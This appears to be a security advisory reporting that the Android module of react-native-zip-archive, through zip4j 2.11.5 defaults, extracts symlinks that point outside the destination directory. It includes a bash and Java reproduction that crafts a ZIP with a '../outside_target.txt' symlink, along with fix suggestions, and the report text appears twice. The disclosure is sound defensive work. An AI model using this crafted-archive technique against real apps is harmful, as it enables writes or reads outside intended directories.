React Native Zip Archive Android zip4j symlink target escape
Summary
Current Android code still depends on zip4j 2.11.5 and calls new ZipFile(...).extractAll(destDirectory) without supplying parameters or post-extraction symlink containment checks.
Details
I reproduced this against the tested upstream commit. Tested commit:
d62e6e28afb6f38f3f3249775114590bb4cae107 (2026-06-15T13:04:32+08:00)
Relevant code path:
react-native-zip-archive/android/build.gradle lines 39-40: The Android module pins dependency net.lingala.zip4j:zip4j:2.11.5.
react-native-zip-archive/android/src/main/java/com/rnziparchive/RNZipArchiveModule.java lines 147-157: unzip() constructs a zip4j ZipFile and directly calls zipFile.extractAll(destDirectory).
zip4j/src/main/java/net/lingala/zip4j/model/UnzipParameters.java lines 3-12: zip4j defaults extractSymbolicLinks to true.
Root cause:
The Android unzip() implementation calls zip4j's ZipFile.extractAll(destDirectory) with no UnzipParameters override. The pinned dependency is zip4j 2.11.5, whose default UnzipParameters enables symlink extraction and whose symlink creation path does not validate that the resolved target stays inside the extraction root.
Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.
Reproduction
The following script fresh-clones react-native-zip-archive, checks out the tested commit, confirms the Android module pins zip4j 2.11.5, then extracts a ZIP containing link_to_outside -> ../outside_target.txt through the same new ZipFile(...).extractAll(dest) API used by RNZipArchiveModule.unzip().
#!/usr/bin/env bash
set -euo pipefail
RN_ZIP_ARCHIVE_COMMIT="d62e6e28afb6f38f3f3249775114590bb4cae107"
workdir="$(mktemp -d)"
cleanup() {
set +e
chmod -R u+w "$workdir" 2>/dev/null || true
rm -rf "$workdir"
}
trap cleanup EXIT
git clone --quiet https://github.com/mockingbot/react-native-zip-archive.git "$workdir/react-native-zip-archive"
cd "$workdir/react-native-zip-archive"
git checkout --quiet "$RN_ZIP_ARCHIVE_COMMIT"
grep -q "net.lingala.zip4j.*2.11.5" android/build.gradle
mkdir "$workdir/repro"
cd "$workdir/repro"
cat > pom.xml <<'XML'
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>local.verify</groupId>
<artifactId>zip4j-symlink-verify</artifactId>
<version>1.0.0</version>
<dependencies>
<dependency>
<groupId>net.lingala.zip4j</groupId>
<artifactId>zip4j</artifactId>
<version>2.11.5</version>
</dependency>
</dependencies>
</project>
XML
cat > Zip4jSymlinkExtract.java <<'JAVA'
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import net.lingala.zip4j.ZipFile;
public class Zip4jSymlinkExtract {
public static void main(String[] args) throws Exception {
Path zip = Paths.get(args[0]);
Path dest = Paths.get(args[1]);
Files.createDirectories(dest);
new ZipFile(zip.toFile()).extractAll(dest.toString());
Path link = dest.resolve("link_to_outside");
System.out.println("ZIP=" + zip);
System.out.println("DEST=" + dest);
System.out.println("DEST_LINK=" + link);
System.out.println("DEST_LINK_IS_SYMLINK=" + Files.isSymbolicLink(link));
System.out.println("DEST_LINK_TARGET=" + Files.readSymbolicLink(link));
System.out.println("DEST_LINK_REALPATH=" + link.toRealPath());
System.out.println("DEST_ROOT_REALPATH=" + dest.toRealPath());
System.out.println("LINK_RESOLVES_OUTSIDE=" + !link.toRealPath().startsWith(dest.toRealPath()));
}
}
JAVA
mkdir src
printf 'outside via zip4j default\n' > outside_target.txt
ln -s ../outside_target.txt src/link_to_outside
(cd src && zip -y -q "$workdir/repro/symlink.zip" link_to_outside)
mvn -q dependency:copy-dependencies -DoutputDirectory=deps
javac -cp deps/zip4j-2.11.5.jar Zip4jSymlinkExtract.java
java -cp .:deps/zip4j-2.11.5.jar Zip4jSymlinkExtract "$workdir/repro/symlink.zip" "$workdir/repro/extract"
Observed result:
DEST_LINK_IS_SYMLINK=true
DEST_LINK_TARGET=../outside_target.txt
DEST_LINK_REALPATH=<temporary-directory>/repro/outside_target.txt
DEST_ROOT_REALPATH=<temporary-directory>/repro/extract
LINK_RESOLVES_OUTSIDE=true
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
ZipFile.extractAll(dest) creates dest/link_to_outside as a symlink whose real path resolves to outside_target.txt outside dest.
Impact
On Android, the default unzip() path can materialize a symlink inside the output tree that resolves outside the destination directory.
Suggested Fix Direction
- On Android, call zip4j extraction with UnzipParameters.setExtractSymbolicLinks(false) until a safe target-containment check exists upstream.
- If symlink extraction must remain supported, validate the extracted symlink target after resolution against the destination root before exposing success to callers.
- Add a regression test for an archive entry whose symlink payload is '../outside_target.txt'.
React Native Zip Archive Android zip4j symlink target escape
Summary
Current Android code still depends on zip4j 2.11.5 and calls
new ZipFile(...).extractAll(destDirectory)without supplying parameters or post-extraction symlink containment checks.Details
I reproduced this against the tested upstream commit. Tested commit:
d62e6e28afb6f38f3f3249775114590bb4cae107(2026-06-15T13:04:32+08:00)Relevant code path:
react-native-zip-archive/android/build.gradlelines39-40: The Android module pins dependency net.lingala.zip4j:zip4j:2.11.5.react-native-zip-archive/android/src/main/java/com/rnziparchive/RNZipArchiveModule.javalines147-157: unzip() constructs a zip4j ZipFile and directly calls zipFile.extractAll(destDirectory).zip4j/src/main/java/net/lingala/zip4j/model/UnzipParameters.javalines3-12: zip4j defaults extractSymbolicLinks to true.Root cause:
The Android unzip() implementation calls zip4j's ZipFile.extractAll(destDirectory) with no UnzipParameters override. The pinned dependency is zip4j 2.11.5, whose default UnzipParameters enables symlink extraction and whose symlink creation path does not validate that the resolved target stays inside the extraction root.
Related CVE reference: this is the same kind of bug as
CVE-2024-12718inpython/cpython.Reproduction
The following script fresh-clones
react-native-zip-archive, checks out the tested commit, confirms the Android module pins zip4j 2.11.5, then extracts a ZIP containinglink_to_outside -> ../outside_target.txtthrough the samenew ZipFile(...).extractAll(dest)API used byRNZipArchiveModule.unzip().Observed result:
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
ZipFile.extractAll(dest)createsdest/link_to_outsideas a symlink whose real path resolves tooutside_target.txtoutsidedest.Impact
On Android, the default unzip() path can materialize a symlink inside the output tree that resolves outside the destination directory.
Suggested Fix Direction